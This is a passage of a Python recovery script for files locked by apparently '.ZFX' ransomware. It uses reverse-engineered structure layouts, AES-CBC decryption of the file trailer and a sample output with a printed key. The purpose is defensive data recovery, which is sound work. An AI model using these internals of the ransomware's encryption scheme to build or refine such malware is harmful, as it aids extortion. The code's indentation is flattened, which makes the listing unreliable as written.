# 00000030 crchash dd ?
# 00000034 encdata db 76 dup(?)
# 00000080 DiskKeyInfo ends
diskKeyInfoStruct = struct.Struct('<IIII32s4s{}s'.format(len(diskKeyInfo)-0x34))
diskKeyInfo = diskKeyInfoStruct.unpack(diskKeyInfo)
print('encid:0x%08x\nID:0x%08x\nVolumeSerialNumber:0x%08x\nDriveTypeW:%d' % (diskKeyInfo[0], diskKeyInfo[1], diskKeyInfo[2], diskKeyInfo[3]))
aeskey = diskKeyInfo[4]
print('aeskey:', aeskey.hex())
print('crchash:', diskKeyInfo[5].hex())
print()
f.seek(-endStubSize-Lockend_size, 1)
Lockend = f.read(Lockend_size)
aescp = AES.new(aeskey, AES.MODE_CBC, iv)
Lockend = aescp.decrypt(Lockend)
# 00000000 LockEnd struc ; (sizeof=0x20, align=0x8, copyof_123)
# 00000000 quick_buf_size_0x40000_0 dd ?
# 00000004 filesize_div3_LowPart_4 dd ?
# 00000008 filesize_div3_HighPart_8 dd ?
# 0000000C FileSize_C LARGE_INTEGER ?
# 00000014 fnamesize_14 dd ?
# 00000018 fname dw ?
# [fname]
# crc32
quick_buf_size=int.from_bytes(Lockend[:4], 'little')
print('quick_buf_size:', quick_buf_size)
print('quick_filesizediv3:', int.from_bytes(Lockend[4:0xc], 'little'))
origfilesize = int.from_bytes(Lockend[0xc:0x14], 'little')
print('filesize:', origfilesize)
fnamesz = int.from_bytes(Lockend[0x14:0x18], 'little')
print('filenamesize:', fnamesz)
print('filename:', Lockend[0x18:0x18+fnamesz].decode('utf16'))
print('CRC_Hash:', Lockend[0x18+fnamesz:0x18+fnamesz+4].hex())
print()
alignSize = origfilesize
padsz=origfilesize % 16
if padsz!= 0:
alignSize += 16-padsz
f.seek(0, 0)
aescp = AES.new(aeskey, AES.MODE_CBC, iv)
buf =b''
if quick_buf_size!=0:
print('quick mode\n')
#quick 模式
if alignSize>quick_buf_size:
#大文件
buf += aescp.decrypt(f.read(quick_buf_size))
buf += f.read(origfilesize-quick_buf_size)
else:
buf += aescp.decrypt(f.read(alignSize))
else:
print('fullfile mode\n')
#enc1_403EE0全加密
f.seek(0, 0)
buf += aescp.decrypt(f.read(alignSize))
with open(outname, 'wb') as f2:
f2.write(buf[:origfilesize])
f.close()
print('dec ov')
if __name__ == "__main__":
fpath1 = r'big4.bin.[EA840167].[[email protected]].ZFX'
newfpath1 = r'big4re.bin'
recover(fpath1, newfpath1, (n, e, d))
"""
################################################################
Lockend_size: 48
iv: 8a49030bceb6b7e0467148a3f25fffe1
encid:0xc00ba2e3
ID:0xea840167
VolumeSerialNumber:0x8c70e334
DriveTypeW:3
aeskey: e5513d820070dd5fa63b9b640270a4b9134477a1d646789811622c6b8eab5e53
crchash: a1da6ab2
quick_buf_size: 0
quick_filesizediv3: 0
filesize: 2162692
filenamesize: 16
filename: big4.bin
CRC_Hash: 1b2b1dd2
fullfile mode
dec ov
"""